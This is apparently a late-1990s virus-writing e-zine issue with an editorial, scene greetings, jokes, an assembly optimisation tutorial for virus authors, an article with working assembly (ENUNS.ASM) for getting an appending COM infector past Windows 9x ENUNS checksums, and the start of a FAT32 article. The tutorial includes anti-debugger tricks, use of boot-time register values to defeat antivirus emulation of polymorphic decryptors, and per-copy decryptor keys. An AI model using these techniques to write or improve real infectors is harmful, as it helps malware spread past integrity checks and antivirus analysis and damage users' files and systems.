You are on page 1of 389

Yo, dudez and girl (yes gigabyte, this is you :) here is goes.

After looong period of time, lot of announced


release datez the day of the dayz is here. A small big Xmas present for all you affearing y2k breakdown,
windoze NT security-holes-programers (like M$'s), avers whose terror of viruses raises from day to day,
cut'n'paste coders, reverse engineers, and of course you - virus coderz.
At first we have to appologize of late (really late) issue mainly due to undelivered stuff already promissed (not
mentioning our lazyness and busyness). But we think a two and half years is just the right period for
releasing mags. Sure not. But we are going to change our policy and for this reason most probably this is our
second and last(!) mag released. We are not quitting but watch and be nicely surprised. (at least we hope ;-)

As in the first issue we aren't aimed on quantity but on quality. So there aren't many viruses but a quality of
articles and presented viruses will compense it excelently.

How to contact us
To get in touch with us, you can contact us by e-mail on asterix_zine@hotmail.com - all your email
containing suggestions, questions or support are welcomed. Of course, you can contact us directly and/or
presonally, if you know us :) Because we don't.
For secured communication please use this pgp key - as you know - enemies are everywhere, do not
trust anyone. But you can trust us. Secret government agencies are watching all around (echelon, for
example), like these messages. So don't be trapped by some of them, take a apropriate countermeasures.

Our crew

Article gathering/maitanance ............ Flush, Navrhar, MGL/SVL


Graphics'n'design'n'mastering ................... Flush

Notes to first issue


I really wondered that noone was able to solve puzzle in out first issue and didn't contacted us even with a
note he read the "secret message". In fact, it wasn't quite secret - it is vissible on the main page, yes it is a
hex-dump above the PCB. There are no cpu instructions but a message in hacker-sript.

Greetz
Virus scene
Benny / 29A - calm down dude and don't get busted, & thx 4 help. btw: how about not focusing
on unimportant features on your page, but tu supply a real stuff (nothing in there
now)
Prizzy / 29A - no matter how greatfully it sounds, but what it actually does :) (yer crypto thingy)
Duke / [SMF] - changed to av side ??? good idea - you can make fortune from removing .bat
viruses ;-)))
Lord Julus - nice educational work, you outrunned us ;-)
Metabolis - QuantumG, Qark - its usual to greet VLAD members :)
VicodinES - good luck and take some books to shorten the time at holidays
Chris Pile - tell to Vic how it goes
Virogen - put your page up again
Recoder - what is updated on your vx page?
Cicatrix - keeep VDAT up to date .... go on with your work
VirusBuster - r u henpecked? publish some details! :)
Vecna - congratz, Babylonia rules (but still some important things missing that beats you
up) .... what 'll you bring as next?
RAID - definatelly, you should learn ASM :-P
Peon - you've completelly missed idea of Navrhar. That's why your disassembly is just
nothing. sorry ;-)
Kevin - welcome back soon
Antivirus scene
dark_wade / Lynx - wondering how a antivirus reseller (whose company was intented to
bust vyvojar, for example!) can be opped on #virus ?!
????????? / ?????? - thanx for interview
l- - aren't u too old for thing all around today?
Eugene Kaspersky / AVP - if you wanna be a NAI rival, don't you need a banner on our site as
well?
Vesselin Bontchen / F- are u still alive? there is nearly noone now who can quarrel guys on
Secure - av scene
Thank you for paying attention (and for all the fish as well). Hope you found at least something interesting in
our second and seems to be last issue. But we are not quitting, so keep watching our site.

*-zine editors.

P.S. Donations of spirits, beer or money are welcomed anytime.


Windows 95/98: "32-bit extensions and a graphical shell for a 16-patch to an 8-bit operating
system originally coded for a 4-bit microprocessor, written by a 2-bit company that can't
stand 1 bit of competition."

Whoever is the genius in the advertisement deptartment at Microsoft, they have done it this
time. Anybody seen the IE ads on TV started in 1997? The one with a very effective choral
music playing in the background? Well, the background music is the Confutatis Maledictis
from Mozart's Requiem (Mass for the dead). And the words of the final blast of music which
accompanies "Where do you want to go today?" are saying "confutatis maledictis, flammis
acribus addictis..." which means "the damned and accused are convicted to flames of hell".
Is this the right message for an ad?

Just beeing curious about f/win 4.21g I looked a little bit inside. And can you imagine my
suprise? What do you think I found inside? (wwpack protection removed by cup386 ver
3.20) This nice piece of text has been found:
* Welcome! If you read this, you have just give me the proof that my opinion
about you is correct. You are one of these bastards that think cracking or
stealing other people hard work is just the right way to go (like the authors of
HMVS and PERFORIN seem to think). Well, I can`t stop you. But I watch and wait.
And never forget... *

Another interesting piece of AV software is HMVS. When someone will take a look, there
are here interesting things to see...

"There is no reason anyone would want a computer in their home."


--Ken Olson, president, chairman and founder of Digital Equipment Corp., 1977

"But what...is it good for?"


--Engineer at the Advanced Computing Systems Division of IBM commenting on the
microchip, 1968.

"I think there is a world market for maybe five computers."


--Thomas Watson, chairman of IBM, 1943.

Unix is an operating system, OS/2 is half an operating system, Windows is a shell, and
DOS is a boot partition virus.
-- Peter H. Coffin

Q: Why do PCs have a reset button on the front?


A: Because they are expected to run Microsoft operating systems.

The software said it requires Windows 95 or better, so I installed Linux

If NT is your answer, you don't understand the question

USER, n.:
The word computer professionals use when they mean "idiot".
Where a calculator on the ENIAC is equipped with 18,000 vacuum tubes and weighs 30
tons, computers in the future may have only 1,000 vacuum tubes and weigh only 1 1/2
tons.
-- Popular Mechanics, March 1949

C isn't that hard: void (*(*f[ ])( ))( ) defines f as an array of unspecified size, of pointers to
functions that return pointers to functions that return void.

Why do programmers get Halloween and Christmas mixed up?


Because OCT(31) == DEC(25)

PROGRAM - n. A magic spell cast over a computer allowing it to turn one's input into error
messages.
Every asm coder wants to produce fast, short and efficient code. In asm language the things should be
always pushed to the limits. Imagine, 58 bytes are enough to display color PCX file on the screen, 2 bytes
can cause system restart etc...
Especially virus coders should produce tight and effective code, it is not very pleasant thing to see
unoptimized code of viruses. Sometimes the optimisation can spare couple hundred bytes - good reason to
deal with this interesting topic.

Index

0. What is optimization
A. Opening words
B. Uninicialized data
C. Register settings in various situations
D. Putting 0 in register
E. Test if register is clear
F. Putting 0FFh in AH, 0FFFFh in DX and CX
G. Test if registers are 0FFFFh
H. Using EAX/AX/AL saves bytes
I. MOV vs. XCHG
J. 16 bit and 8 bit registers
K. Registers and immediate operands
L. Segment registers playground
M. The string instructions
N. DEC/INC vs SUB/ADD plus SI/DI
O. SHR/SHL
P. Procedures
Q. Multiple pops/pusheh
R. Object code
S. Structure of code
T. Arithmetics with SIB (LEA)

0. What is optimization
Process of optimization is process of doing domething more efficient, more reliable, faster or better and less
buggy. This in programming means faster execution of program, reducing of its size etc. Coding of viruses is
mostly programming in assembly, thus producing of fast and short code. But everything can be done better,
even assembly code can be coded shorter. Some tips are included in this tutorial.
A. Opening words
There are some things, you should really avoid in your programs, doesn't matter if it is virus or some utility.
First of all remove all unnecessary code - in a good program there should be no NOPs. Another good tip is
examining the jumps in program - try to find out, if some JMP NEAR can not be replaced by JMP short. Good
test is trying to remove directive jumps in beginning of the source code. Forward refferences are bad for
optimization they produce unnecessary NOPs in some cases.

B9 0014 90 mov cx, buffer_size


14*(??) buffer: db 20 dup (?)
=0014 buffer_size equ $-buffer

Better result we get with multiple passes (/m switch):


B9 0014 mov cx, buffer_size
14*(??) buffer: db 20 dup (?)
=0014 buffer_size equ $-buffer

Very bad idea idea is calculating in the code some weird value which could be calculated directly in the
source code using operands and parenthesses.

B. Uninitialized data
Viruses often need some memory for e.g. loading original EXE header. This could be done with following
code (similar code could be often seen in viruses)
call read_header
call process_it
.....
buffer: db 18 dup (?)
.....
read_header:
mov ax, 4200h
xor cx, cx
cwd
int 21h
mov cx, 18
mov dx, offset buffer
mov ah, 3f
int 21h

Well, as you can seek if you place the uninicialized data in your virus somewhere inside the body size of the
resulting code is larger as necessary. Therefore avoid placing uninicialized variables, structures or buffers in
the code. All the mentioned things should be placed on the heap. To see example how it should not look like,
just take a look on your COMMAND.COM - in the one of DOS 6.22 as well as of Windows 98 you will seek a
lot of zeroes near the EOF. That code is especially poor optimized. Try to use something like
virus_code_end label near
buffer: db 1024 dup(?)

C. Register settings in various situations


There are some interesting situations like executing some EXE or COM file or booting the computer. As one
can expect register setting is not random but very deterministic. Virus authors can take advantage from this
default setting by testing some registers for its "on run" value. Take a look in tables 1 and 2 for the values
which are set by MS-DOS for us.

Table 1 - COM and EXE files Table 2 - At the boot time *


reg default value reg default value reg default value reg default value
AX 0000h (usualy) BP 091Ch AX 0201h BP 7C00h
BX 0000h SP SP BX 7C00h SP 7BFCh
CX 00FFh DS PSP CX 0001h DS 0
DX PSP ES PSP DX 0080h ES 0
SI IP SS SS SI 0005h SS 0
DI SP CS CS (PSP in COM) DI 7C00h CS 0
* as to Ender's tests, this might varry from bios to bios, however it remains constant for one machine (or bios version). You
can use it as some sort of snapshot taken at first boot time, and then used for example in decryptor. Antivirus will not be
able at all to guess these numbers without reboot and it will not be able correctly decrypt poly virus in mbr. (Quite nice
Ender's idea, isn't it?)

As we all know Turbo Debugger sets all general registers to 0. When we some perform operation like
xor cx, bp
... some code not affecting cx
cmp cx, 93Eh
jne TD_is_here
... no debuger here

This way virus can easy escape from debugger. But on good writtten emulation system we are without any
chance because they (AV) know we know and they are ready. But we can easy top all the wannabies trying
to "research" our virus and give them the fun they want to have.

D. Putting 0 in register
1. Clearing whatever register
The usual way of clearing a register is
B8 0000 mov ax, 0 ; costs 3 bytes
33 C0 xor ax, ax ; is more optimised
2B C0 sub ax, ax ; only 2 bytes !

This above mentioned approach can be used every time you need. Under Win32 is the above
mentioned optimization more efficient, just take look at following piece of code:
B8 00000000 mov eax, 0 ; costs 5 bytes
33 C0 xor eax, eax
2B C0 sub eax, eax ; costs only 2 bytes

Now we will take a sneak peek on the specific situations.

2. Clearing AH
Let's assume the situation we need to clear the AH register. Generally we will do it this way:
B4 00 mov ah, 0 ; cost 2 bytes in DOS
2A E4 sub ah, ah
32 E4 xor ah, ah ; is the same

but if the AL walue is less than 80h we can save a byte (DOS)
98 cbw

while under Windoze the cbw will be assembled as


66 98 cbw

3. Clearing DX
We use the same approach as with AH. If value in AX <8000h we can use
99 cwd

to clear the DX
4. When is CX clear?
There is absolutely useless use code like
....
loop some_label
xor cx, cx ; or even worse - mov cx, 0

because after the exit from some loop (i do not mean hard or conditional jump out of the loop) the CX
register is already cleared as well as after the REP ??? operations.

E. Test if register is clear


1. General situation
Normal, uneducated coder will use this code:
3D 0000 cmp ax, 0 ; which takes 3 bytes
83 FB 00 cmp bx, 0

but hard core programmer will for sure use


0B C0 or ax, ax ; this takes only 2 bytes
0B DB or bx, bx

if the value can be discarded we can save another byte


48 dec ax
4B dec bx ; this is only 1 byte

will set for us sign flag if the register is zero. Situation under Windoze is similar:
83 F8 00 cmp eax, 0
0B C0 or eax, eax
0B C0 or eax, eax
66| 0B C0 or ax, ax ; this is not default
; operand size

2. The CX register
In x86 processors CX register is used as counter, the instruction set supports this use.
E3 ?? jcxz some_label

jumps when CX is zero, we do not need comprare CX with zero. But especially demo coders should
pay attention to the fact, this instruction is relatively slow.

F. Putting 0FFh in AH, 0FFFFh in DX and CX


If AL > 80h, cbw sets AH to 0FFh. If AX > 8000h, cwd put OFFFFh in DX. As for CX, after the exit from the
loop is this register set to 0.
....
loop some_label
dec cx ; CX is here 0 this, sets it to 0FFFFh.

G. Test if registers are 0FFFFh


If we need to test if the 2 registers hold both 0FFFFh and value of one is not needed afterwards, we can easy
do it with e.g.
23 C3 and ax, bx
40 inc ax
74 ?? jz a ; 5 bytes altogether

instead of
3D FFFF cmp ax, 0ffffh
75 ?? jnz a
83 FB FF cmp bx, 0ffffh
75 ?? jzn a ; making 10 bytes

H. Using EAX/AX/AL saves bytes


Opcodes for some types of instructions are shorter, when you use AX or AL instead of any other registers.
This is the case of instruction like:

MOV reg,mem
A1 0084 mov ax, word ptr ds:[84h] ; 3 bytes
8B 1E 0084 mov bx, word ptr ds:[84h] ; 4 bytes
A0 0084 mov al, byte ptr ds:[84h] ; 3 bytes
8A 26 0084 mov ah, byte ptr ds:[84h]
8A 3E 0084 mov bh, byte ptr ds:[84h] ; 4 bytes each

MOV mem,reg
A3 0084 mov word ptr ds:[84h], ax ; 3 bytes
89 1E 0084 mov word ptr ds:[84h], bx ; 4 bytes
A2 0084 mov byte ptr ds:[84h], al ; 3 bytes
88 26 0084 mov byte ptr ds:[84h], ah
88 3E 0084 mov byte ptr ds:[84h], bh ; 4 bytes each

CMP reg,value
3D 04D3 cmp ax, 0D304h ; 3 bytes
81 FB 04D1 cmp bx, 0D104h ; 4 bytes
3C 22 cmp al, 34 ; 2 bytes
80 FC 22 cmp ah, 34
80 FF 22 cmp bh, 34 ; 3 bytes each

I. MOV vs. XCHG


Moving value from one register to another can be replaced with XCHG but only in cases the value in one of
source register is not important. AX register as expected is here better solution too.
8B C3 mov ax, bx ; 2 bytes
93 xchg ax, bx ; 1 byte

Following code is of equal size


8A C3 mov al, bl
86 C3 xchg al, bl
8A E6 mov ah, dh
86 E6 xchg ah, dh ; 2 bytes all

but you can even enlarge the code with :


A1 0080 mov ax, word ptr ds:[80h] ; 3 bytes
87 06 0080 xchg ax, word ptr ds:[80h] ; 4 bytes
86 06 0080 xchg al, byte ptr ds:[80h] ; this is bad

J. 16 bit and 8 bit registers


I doubt there is any non-newbie coder who will use code ala
B0 10 mov al, 10h
B4 20 mov ah, 20h
which takes 4 bytes, but doing the code above at once with
B8 2010 mov ax, 2010h

takes only 3 bytes.

K. Registers and immediate operands


Immediate operands cost more bytes than use of registers. Just looka at the example below:
C6 06 010C 00 mov byte ptr [10Ch], 0 ; 5 bytes
88 3E 010C mov byte ptr [10Ch], bh; 4 bytes
A2 010C mov byte ptr [10Ch], al; 3 bytes

L. Segment registers playground


1. Avoid using not default segments
If you use not default segmet register for the operation, segment prefix will be generated, which add 1
byte to the size of the code.
3E: 8B 86 0100 mov ax, word ptr ds:[100h][bp]
8B 84 0100 mov ax, word ptr ss:[100h][bp]

2. Moving from segment register to segment register


We can't move directly value from one segment register to another. It has to be coded ala
8C C8 mov ax, cs
8E D8 mov ds, ax

with length of 4 bytes but


0E push cs
1F pop ds

takes only 2 bytes

M. The string instructions


Intel prepared for use instructions like LODS, STOS, MOVS, SCAS, CMPS to handle large amount of data.
One has to know what this instructions do. Below are instruction and it equivalents.
AC lodsb
8A 04 mov al, byte ptr ds:[si]
AD lodsw
8B 04 mov ax, word ptr ds:[si]
66| AD lodsd
66| 8B 04 mov eax, dword ptr ds:[si]

LODS type instruction save 1 byte in comparision with move.


AA stosb
26: 88 05 mov byte ptr es:[di], al
AB stosw
26: 89 05 mov word ptr es:[di], ax
66| AB stosd
66| 26: 89 05 mov dword ptr es:[di], eax

STOS type save 2 bytes in comparision with move. Therefore MOVS instruction save 3 bytes (is the same as
LODS followed by STOS).
AE scasb
26: 3A 05 cmp al, byte ptr es:[di]
AF scasw
26: 3B 05 cmp ax, word ptr es:[di]
66| AF scasd
66| 26: 3B 05 cmp eax, dword ptr es:[di]

SCAS type instruction save 2 byte in comparition with CMP. CMPS instruction does the same as
LODSB/LODSW/LODSD
CMP AL/AX/EAX, byte/word/dword ptr ES:[DI]

thus we save 3 bytes with CMPS.

We dont have to omit REP prefixes - using this 1 byte sized instruction we can do miracles almost at no
costs. In addition after REP ??? is CX set to 0

N. DEC/INC vs SUB/ADD plus SI/DI


Incrementing or decrementing 16bit register is only 1 byte in size. It is more efficient that INC/DEC 8 bit
register, or adding or subtracting 1 from some adress or register.
40 inc ax
FE C0 inc al
4A dec dx
FE CE dec dh
2D 0001 sub ax, 1
05 0001 add ax, 1
83 2E 0080 01 sub word ptr ds:[80h], 1
FF 0E 0080 dec word ptr ds:[80h]
83 06 0080 01 add word ptr ds:[80h], 1
FF 06 0080 inc word ptr ds:[80h]

Even if we need to add/sub 2 from register inc/sub twice is 1 byte shorter. For SI/DI if AX doesn't matter we
can use some of string instruction for INC/DEC (depending on direction flag).

O. SHR/SHL
SHR/SHL instructions can be used for division/multipliing by 2/4/8 etc.. instead of DIv/MUL instructions.
While by DIV/MUL we have to fill register with needed value, we can instead of
B1 02 mov cl,2
F6 E1 mul cl ; 4 bytes in total

use just
C0 E0 02 shl al,2

for multiply al with 4 and save a byte here. If we are multiplying just by 2, we can save 2 bytes because
D0 E0 shl al,1

has size only 2 bytes.

P. Procedures
If the some code is used over and over again it is very clever to put such a piece of code in procedure. It
could save some valuable bytes, but we have to say, in other cases this could also add some bytes to code.
How could you decide if putting the code in procedure can save bytes ? Let the number of repeating use of
some piece of code be N, its size will be S, the number of saved or lost bytes will be B. When the code is not
part of procedure, its total size will be N*S. But when we put the code in the procedure, the resulting size of
code will be

( S+1 ) + N*3 + A
this should be understand as
(ret + the size of code) + N*3 bytes for each call + difference
And the resulting equation is
N*S = (S+1) + 3*N + A
N*S - 3*N - (S+1) = A
N*(S-3) - S - 1 = A

from the formula above you can clearly see, that every repeated code which size is 3 bytes or less can not
be replaced by procedure in the process of optimisation. When we know the size of code (which should be at
least 4 bytes) and the number of repeating we can estimate the number of saved bytes. So, for code with
length of 4 bytes we save 1 bytes, if the code is repeated 6 times and put in the procedure.
Next thing you can do with procedures, is using multiple entry points for the same procedure.

Q. Multiple pops/pusheh
Sometimes situation arises where you have need to repeat lot of pushes or pops couple of times. If you
thinking goes in the direction "procedure" it goes the right way. But with push/pop instruction is one little
problem - the instruction manipulates stack pointer as well as the CALL does. But the instruction set provides
solution - the JMP register instruction. We can handle multiple pushes/pops like this
call push_reg
...
...
push_reg:
pop si ; pop return adress
push ax
push cx
push dx
push bx
jmp si ; this does what ret normally does

R. Object code
Some opcodes are in some memory models aren't accesible. Therefore to use some workaround. Most
typical use of object code in virus if famous return to original dos handler:
back db 9ah ; this is for JMP FAR PTR
dosadr dd ? ; and here comes the adress

Another nice use of object code is let's say in decryptor ala:


xor ax, key

but as the every copy of virus will have different key, we code this instruction as
db 35
key: dw ?

which will work perfectly.


S. Structure of code
This is really what is optimisation about. If you structure your code good you can save lot of bytes. If you are
using lot of procedures, do not forget to check input and outpot registers. Sometimes it could be valuable to
use register, which cost less bytes to handle in procedures. As and example for good structured code, here
look at part of INT 21h handler for some hypotetic virus. Pay attention to the use of call instruction here:
86 C4 xchg al,ah
E8 0007 call jump_there
40 db 40h
021Ar dw offset write
3E db 3eh
0458r dw offset close
00 db 0 ; end of table
jump_there:
5F pop di ; pointer to
; table begin
search:
80 3D 00 cmp byte ptr ds:[di],0
74 08 je exit ; table end ?
AE scasb
74 03 je handle ; AL = AH ?
AF scasw ; DI = DI + 2
EB F5 jmp short search
handle:
FF 25 jmp word ptr ds:[di] ; jump to
; function
exit:

Size of the code above is 26 bytes. Every added handled function adds just 3 further bytes. But when we use
this virus typical sequence of CMP, JE/JNE, JMP the it will look like:
80 FC 40 cmp ah, 40h
75 03 jne check_3e
E9 022D jmp infect
check_3e:

thus we have to count at least 8 bytes for every single handled function. If we want to hadle 10 functions, it
will be as much as 80 bytes. Structured coding from previous example will fit the same function in only
(26+3*8) = 50 bytes. 30 bytes saved, do i have to further explain all the pluses structured coding can bring to
you?

T. Arithmetics with SIB (LEA)


There is another way on i386+ to simplify more complicated arithmetical operations. A SIB displacement of
instruction (used for complex memory access) can be used for arithemtics as well using LEA instruction. SIB
means: Scale, Index, Base which is principle of memory accesss in general form:
89 84 CB 12345678 mov [ecx*8+ebx+12345678h], eax

Scale is register (any 32bit) multiplied by 1, 2, 4 or 8; Index is another 32bit register, and finally Base is a raw
offset. Base is a 32bit value as well, that takes another 4 bytes, but it might be used also without this
constant.
You can use if for aritmetical operations, even more it is faster than comparisonable equivalents using
multiplying or shifts, and you can perform a mutliplication for even non-standard values, like eax mul 9, for
example:
8D 04 C0 lea eax, [eax*8+eax]

As you can see, this lea-trick can be used in many circumstances, and I'll not list them all here, of cos.
Hope this little introduction helps you with some ideas, but you surely know: "truth is out there" - you need to
optimize your code in more general context, not only on instruction base, but on register usage optimizing
and stack usage as well, and there are many other things that can't be decribed in such a general way. May
be it is for another article. But for now, go ahead and won't your code be pesimised...
Introduction
In the old goodtimes there were nothing easier as infecting COM file. But the Microsoft went to market with
his Windoze 9x series of betas. This has changed some COM files and near the EOF we started to see
string 'ENUNS' followed by word with various value. This is apparently some kind of checksum or other
security shit. Many virus coder solved the this problem simply by avoiding the infection of such a modified
COM files.

Research part
But as we all know, Microsoft is lame company and its programmers are morons. So let's take a closer look
what does such a ENUNS file in action. We will pick up a handy and short file from directory
C:\WINDOWS\COMMAND - file choice.com

If we 'll play a little bit with hex editor and we 'll add some extra bytes to the end of the file, after running
CHOICE.COM without any command line parameters, we will see
[ , ]?

instead of the usual


[Y,N]?

This means - file is corrupted ...

Let's start debuging this file. After couple of jumps and calls we land in following code
cs:0B27 1E push ds
cs:0B28 06 push es
cs:0B29 1F pop ds
cs:0B2A 8B D7 mov dx, di
cs:0B2C 83 C2 03 add dx, 3
cs:0B2F B8 00 3D mov ax, 3D00h
cs:0B32 CD 21 int 21h

The code above opens the file which is run (choice.com)


cs:0B34 1F pop ds
cs:0B35 72 3C jb error
cs:0B37 8B D8 mov bx, ax
cs:0B39 89 1E 77 05 mov handle, bx
cs:0B3D E8 3F 00 call test_ENUNS
cs:0B40 9C pushf
cs:0B41 B8 00 3E mov ax, 3E00h
cs:0B44 8B 1E 77 05 mov bx, handle
cs:0B48 CD 21 int 21h
cs:0B4A 9D popf
cs:0B4B 72 2C jb loc_0_B79

Call to the test_ENUNS seem to be quit important. Closer look shows what this procedure does:
cs:0B7F 06 push es
cs:0B80 33 C9 xor cx, cx
cs:0B82 33 D2 xor dx, dx
cs:0B84 83 EA 07 sub dx, 7
cs:0B87 83 D9 00 sbb cx, 0
cs:0B8A B8 02 42 mov ax, 4202h
cs:0B8D CD 21 int 21h
cs:0B8F B9 07 00 mov cx, 7
cs:0B92 03 C1 add ax, cx
cs:0B94 83 D2 00 adc dx, 0
cs:0B97 A3 80 05 mov size_lo, ax
cs:0B9A 89 16 82 05 mov size_hi, dx
cs:0B9E B8 00 3F mov ax, 3F00h
cs:0BA1 8D 16 92 05 lea dx, ds:592h
cs:0BA5 CD 21 int 21h
cs:0BA7 72 1A jb bad_handle

The routine seek to EOF-7 and read last 7 bytes of the file to some buffer. Filesize is saved on this occasion.
cs:0BA9 81 3E 95 05 4E 53cmp word_0_595, 'SN'
cs:0BAF 75 12 jnz bad_handle

Location EOF-4 is checked for presence of string 'NS'.


cs:0BB1 A1 97 05 mov ax, checksum
cs:0BB4 8B 16 80 05 mov dx, size_lo
cs:0BB8 8B 0E 82 05 mov cx, size_hi
cs:0BBC 2B D0 sub dx, ax
cs:0BBE 83 D9 00 sbb cx, 0
cs:0C07 89 0E 80 05 mov size_lo, cx
cs:0C0B 89 16 82 05 mov size_hi, dx

Word at location EOF-2 is subtracted from the file size and result is stored.
cs:0C0F BE 01 00 mov si, 1
cs:0C12 E8 16 00 call sub_0_C2B
cs:0C15 73 0F jnb loc_0_C26
cs:0C17 8B 0E 80 05 mov cx, size_lo
cs:0C1B 8B 16 82 05 mov dx, size_hi
cs:0C1F 33 F6 xor si, si
cs:0C21 E8 07 00 call sub_0_C2B
cs:0C24 72 03 jb loc_0_C29
cs:0C26 E8 7F 00 call sub_0_CA8
cs:0C29 07 pop es
cs:0C2A C3 retn

From our (virus) point of the view is decising the call to cs:0xC2B.
cs:0C2B 51 push cx
cs:0C2C 52 push dx
cs:0C2D B8 00 42 mov ax, 4200h
cs:0C30 CD 21 int 21h

File pointer is moved to the location (filesize-(word at EOF-2))


cs:0C32 B9 10 00 mov cx, 10h
cs:0C35 B4 3F mov ah, 3Fh
cs:0C37 8D 16 92 05 lea dx, ds:592h
cs:0C3B CD 21 int 21h
cs:0C3D 72 37 jb loc_0_C76
cs:0C3F 3B C1 cmp ax, cx
cs:0C41 75 33 jnz loc_0_C76

Read form inside the file is performed.


cs:0C43 A1 9D 05 mov ax, word_0_59D
cs:0C46 3D 4E 53 cmp ax, 'SN'
cs:0C49 75 2B jnz loc_0_C76

Location inside the file is checked for presence of string 'NS'. This is what the program does with the magic
'ENUNS' shit. Quit lame and interesting at the same time. Well as we know what the does, we should try to
create some workaround.
What do we need?
There are two requests for elegant solution of the problem

1. User should see at the EOF-7 the string 'ENUNS' followed by word containing "magic value".
2. File has to pass its internal controll routine.

Solution
We take common non-overwriting appending COM infector. If we choose some ENUNSed targed and we will
infect it in normal way, the proggy with virus on its end will have no 'NS' at EOF-4. In the very rare case it will
have 'NS' there, word at EOF-2 sends the file pointer somewhere in deep space 9 and the next check will fail.
Therefore solution of the problem is

1. Read last 7 bytes of file to some buffer


2. Infect the file as usual
3. Handle ENUNS protection

As we need to have at least 'NS' at EOF-4, in the line of our elegant solution we will add there 'ENUNS'
string. Then we need to adapt the word at EOF-2 in such a way it will point to the location it pointed before
the file was infected.

The word located at EOF-2 is subtracted from file size - it could be expressed as follows

uninfected situation:

X = filesize - (word at EOF-2)

but when the file is infected the situation is

X + virus size + added code = filesize + virus size +added code - (word at EOF-2)

Resulting pointer is now "somewhat" incorrect from our viral point of the view. This dramatic equation is easy
to solve just by moving some shit from left to right side of the equation...

X = filesize + virus size +added code -(word at EOF-2+ virus size+ added code)

note: under the term "added code" you should understand our 2nd 'ENUNS??' string.

Dear readers, the solution for the ENUNS problem is just to copy the last 7 bytes from the target file to the
end of the virus body with only one change - to the value of last word in the file we simply add the size of all
appended code including our duplicite ENUNS?? string.

And here comes the demonstration of the above mentioned solution.


ENUNS.ASM

model tiny
codeseg
org 100h

; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³Diz is demonstation proggy to show easy way to handle Micro$oft's³
; ³ENUNS protection of COM files from the viral point of the view ³
; ³ ³
; ³To compile the file use Borland's Turbo Assembler with following ³
; ³switches: ³
; ³ tasm enuns.asm ³
; ³ tlink /t enuns.obj ³
; ³ ³
; ³The resulting enuns.com should have exactly 512 bytes. Exactly 1 ³
; ³sector in size :P ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

CR equ 0Dh
LF equ 0Ah

start:
mov ah, 1Ah
lea dx, DTA
int 21h ; own DTA (so we don't screw _argv)

mov ah, 9
lea dx, open_message
int 21h
mov al, byte ptr ds:[80h]
or al, al
jnc path ; got parameter ?
lea dx, path_miss
jmp short @@2
path:
cbw
xchg ax, si
mov byte ptr ds:[81h+si], '$'
lea dx, assumed
mov ah, 9
int 21h
mov dx, 81h
int 21h ; print path+filename

mov byte ptr ds:[81h+si], 0


skip_space:
mov di, dx
cmp byte ptr [di], 20h
jne search
inc dx
jmp short skip_space ; avoid space in a front of path

search:
mov ah, 4Eh
int 21h
jnc open_file
lea dx, not_found ; search the file
@@2: jmp short @@1 ; print error message
open_file:
mov ax, 3D02h
int 21h
jnc open_ok ; open file
lea dx, open_error
ENUNS.ASM

@@1: jmp short put_msg ; print error message


open_ok:
xchg ax, bx

mov ax, 4202h


push ax
mov dx, 0FFF9h
mov cx, 0FFFFh
int 21h ; seek 2 ENUNS

mov ah, 3Fh


lea dx, enuns
mov cx, 7
int 21h ; read it

add word ptr [enuns+5], xtns + 7

pop ax
cwd
xor cx, cx
int 21h ; seek 2 end

mov ah, 40h


lea dx, demo
mov cx, xtns + 7
int 21h ; write additional data

mov ah, 3Eh


int 21h
int 20h

put_msg:
mov ah, 9
int 21h
int 20h

open_message:
db 'ENUNS workaround demo by MGL',CR,LF,CR,LF,'$'
path_miss:
db 'No path specified !',CR,LF,CR,LF,'$'
assumed:
db 'Target file assumed : $'
not_found:
db 'File not found !$'
open_error:
db CR,LF,'Error opening target file!',CR,LF,'$'
demo: db CR,LF,'ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿'
db CR,LF,'³This text is added to the file just for the demonstration³'
db CR,LF,'³of Micro$oft lameness in design of ENUNS protection ³'
db CR,LF,'ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ'
xtns equ $ - offset demo
enuns db 7 dup (?)
DTA:
end start
Did you ever take a care about FAT filesystem? Did you experienced over new one that Windows'95 brings?
I played with old FAT a long time ago, I did a lots of work with it, like disk recoveries, crashed disks, etc, even
repairing disk by phone (filling in all numbers computed in head for partition and boot by talking via phone). I
wrote several FAT emulators r/w (guess for what reasons ;-), some recovery utilities, disk swapping tools
(changing internal dos/windows stuff for swapping disks, booting from non-primary partitions, etc), on-fly
mounting an unmounting disk utils for dos/win. I would say I was quite familiar with FAT.

But things getting changed. I've installed a new Windows on my computer some time ago (you have to do so
in current contitions), swapped to FAT32. It is slower a bit, but functional. Before I have my old (today I would
say "really old") 1GB disk partitioned into 128MB partitions for having 2kB clusters. I used to have lots of
small files, and not to have a big space wasting I had many logical disks on that disk. With FAT32 all these
things are forgotten. But even in that time I never checked new disk structures.

But nice spring evening comes, and CIH does its job. Not on my disk, of'coz as I play with viruses for more
than 8 years. I don't have any active virii on my computer - for that reasons I use best avir 'round the globe -
hiew ;-). Well but friend of mine called me that his office disk crashed (and even his cheef's disk and others
as well) and asked me for help. "CIH" - my first idea was. Of course I was right. Moreover, he wasn't the only
one who asked me for help at that time. And I get experienced with FAT32 immediately.

Well, let's have a look what is changed under FAT32. Of course, cluster numbers are 32bit. What an
advantage. However, as upper 4 bits of cluster number are reserved, gives at maximum 268,435,456
clusters. This makes FAT very long, and slows down a DOS a lot, because it can't load all data into its
buffers at once and forgots first entries it loads - and it has to load it again, forgetting newer entries, then to
load newer once again: if you are familiar with caching algorhitms of victims - it is a classical example of fifo-
bug. I'll divide my tour into some logical sections, covering what is new in all structures. Most of changes are
determined by need of accessing big disks. Really big disks. It has something to deal with int13 address-
space, bioses, and so on.

Partition table
There are two main changes. At first, the code itself is changed for supporting a new accessing methods of
